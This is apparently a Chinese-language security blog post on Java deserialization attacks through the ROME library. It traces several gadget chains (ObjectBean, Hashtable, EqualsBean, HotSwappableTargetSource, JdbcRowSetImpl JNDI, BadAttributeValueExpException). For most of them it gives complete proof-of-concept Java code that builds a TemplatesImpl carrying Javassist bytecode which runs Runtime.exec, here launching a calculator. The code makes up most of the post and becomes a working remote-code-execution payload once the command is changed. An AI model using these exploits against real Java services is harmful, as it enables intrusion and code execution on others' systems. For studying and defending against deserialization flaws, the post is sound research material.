ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - Rome

+

JavaCodeCheatSheet

利用

ObjectBean

原理

Rome链子跟fastjson差不多,入口点是toString方法,它调用的是bean类的getter

ObjectBean.toString()

跟进这里的ToStringBean.toString(),它又调用了下面的重载tostring,下面的tostring反射调用bean类中的getter方法

HashMap.readObject()
    ObjectBean.hashCode()
        EqualsBean.beanHashCode()
            ObjectBean.toString()
                ToStringBean.toString()
                    TemplatesImpl.getOutputProperties()
package com.orxiain;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.util.HashMap;

import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;

public class ObjectBeanPOC {
    public static void main(String[] args) throws Exception {

        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        // TemplatesImpl templateImpl = new TemplatesImpl();
        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
        setFiled(templateImpl, "_name", "test");
        setFiled(templateImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
        HashMap<Object, Object> hash = new HashMap<>();
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        hash.put(objectBean, "1");
        unSerial(hash);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        //生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
}

HashTable

HashTable.readObject(ObjectInputStream)
HashTable.reconstitutionPut()
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()

跟CC7的入口点一致,但是是为了调用hashCode方法,与上面链子的区别就是换了个入口点,HashTable.reconstitutionPut()调用了key的equals方法

那么poc也只改改最后的封装步骤即可

package com.orxiain;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Hashtable;

import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;

public class ObjectBeanPOC2 {
    public static void main(String[] args) throws Exception {

        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        // TemplatesImpl templateImpl = new TemplatesImpl();
        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
        setFiled(templateImpl, "_name", "test");
        setFiled(templateImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean, "or");

        unSerial(hashtable);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        //生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
}

EqualsBean

 HashMap.readObject()
    HashMap.put()/hash()
        EqualsBean.hashCode()  // 或equals()
            ObjectBean.toString()
                ToStringBean.toString()
                    TemplatesImpl.getOutputProperties()

前面的hashmap不多说,来看EqualsBean的hashcode调用了什么

调用了它下面的beanHashCode,其中调用了obj的toString方法,其余不变,这是通过hashcode的链子,修改起来也方便,objectbean的链子改一下就好了

再来看看equals方法如何利用,跟CC7的链子差不多

 HashSet/HashMap.readObject()
    HashMap.putVal()
        AbstractMap.equals()
            EqualsBean.equals()
                EqualsBean.beanEquals()
                    TemplatesImpl.getOutputProperties()

equals调用beanEquals,beanEquals方法直接就对obj的getter调用了非常自觉非常方便

注意这里到出发getter还需要经过几个条件,逐一满足即可

首先保证bean1和obj不为空,然后保证obj是_beanClass(也就是EqualsBean的构造方法获得的第一个参数)的一个对象

更方便来说就是要保证在EqualsBean的构造函数中,第一个参数是Class类型,第二个参数需要是第一个参数的一个对象,这个好整,而equal的调用我们通过人为制造hash冲突,比如这里poc中hashmap的`yy``zZ`的hash就相同

入口点在HashSet的readobject,其调用了map.put,put中调用了putval,这里调用了key的equals

然后调用到AbstractMap的equals这里,会调用到value的equals

构造POC

package com.orxiain;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

import static com.orxiain.EqualsBeanPOC3.unSerial;

public class EqualsBeanPOC4 {
    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        byte[] bytes = genPayload("xcalc");

        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl, "_bytecodes", new byte[][]{bytes});
        setFiled(templateImpl, "_name", "test");
        setFiled(templateImpl, "_tfactory", null);

        EqualsBean bean = new EqualsBean(String.class, "or");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", templateImpl);
        map2.put("zZ", bean);
        map2.put("yy", templateImpl);
        HashSet table = new HashSet();
        table.add(map1);
        table.add(map2);

        setFiled(bean, "_beanClass", Templates.class);
        setFiled(bean, "_obj", templateImpl);
        unSerial(table);
    }

    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }
}

HotSwappableTargetSource

用到了SpringFrameWork依赖

HashMap.readObject()
    HashMap.putVal()
        HotSwappableTargetSource.equals()
            XString.equals()
                ToStringBean.toString()
                    ToStringBean.toString(String)
                        TemplatesImpl.getOutputProperties()

HotSwappableTargetSource的equals会调用到构造HotSwappableTargetSource对象时传入的对象的equals,但与它对比的Object必须也是HotSwappableTargetSource的一个对象(因为这里有个强制类型转换)

XString其中equals的一个方法调用了Object(也就是和XString对象作equals的对象)的toString方法,那么我们想调用ToStringbean的toString,就让第一个键值对中的key的HotSwappableTargetSource对象封装toStringBean的对象,当第二个键值对(也就是包含了XString的HotSwappableTargetSource对象)put进去之后,会调用起putval方法,继而调用两层equals来到XString的equals这里,它会调用起参数对象(也就是ToStringBean)的toString方法,完成反序列化攻击↓ (太妙了🎉)

package ysoserial.poc.rome;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.wicket.util.diff.ToString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

/**
 * HashMap.readObject()
 *     HashMap.putVal()
 *         HotSwappableTargetSource.equals()
 *             XString.equals()
 *                 ToStringBean.toString()
 *                     ToStringBean.toString(String)
 *                         TemplatesImpl.getOutputProperties()
 */

public class HotSwappableTargetSourcePOC {
    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        //生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    private static ByteArrayOutputStream unSerial(Object obj) throws Exception{
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(obj);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }

        public static void main (String[] args) throws Exception {
            String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
            setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("calc")});
            setFiled(templateImpl, "_name", "test");
            setFiled(templateImpl, "_tfactory", null);

            ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
            HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(toStringBean);
            HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rome"));

            HashMap hashMap = new HashMap();
            hashMap.put(hotSwappableTargetSource1, "1");
            hashMap.put(hotSwappableTargetSource2, "2");

            unSerial(hashMap);
    }
}

为什么需要用到HotSwappableTargetSource的equals来中转?

我们看到HotSwappableTargetSource的hashcode方法这里,它直接返回了HotSwappableTargetSource这个class的hashcode而不是对象的hashcode,那么hashcode的值完全是固定的,简直是触发hash冲突的绝佳选择,而XString的hashcode就和对象有关了,不太可控

JdbcRowSetImpl

HashMap.readObject()
    HashMap.hash()
        ObjectBean.hashCode()
            EqualsBean.hashCode()
                EqualsBean.beanHashCode()
                    ToStringBean.toString()
                        ToStringBean.toString(String)
                            JdbcRowSetImpl.getDatabaseMetaData()
                                JdbcRowSetImpl.connect()  // JNDI注入点

要是出网,可以打打JNDI,这个就是上面ObjectBean调用了getDatabaseMetaData这个getter而已,那么构建一个BaseRowSet对象放到JdbcRowSetImpl里即可,getDatabaseMetaData会调用到lookup

public class RomeJdbcRowAttack {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:1389/xxxxxxx";

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
        dataSource.setAccessible(true);
        dataSource.set(jdbcRowSet, url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        HashMap<Object, Object> hash = new HashMap<>();
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        hash.put(objectBean, "1");
        unSerial(hash);
    }
}

BadAttributeValueExpException

经典的readobject一步到位调用任意tostring

package com.orxiain;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;

import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;

public class BadAttributeValueExpExceptionPOC {
    public static void main(String[] args) throws Exception {

        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
        setFiled(templateImpl, "_name", "test");
        setFiled(templateImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFiled(badAttributeValueExpException, "val", toStringBean);

        unSerial(badAttributeValueExpException);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        //生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
}
END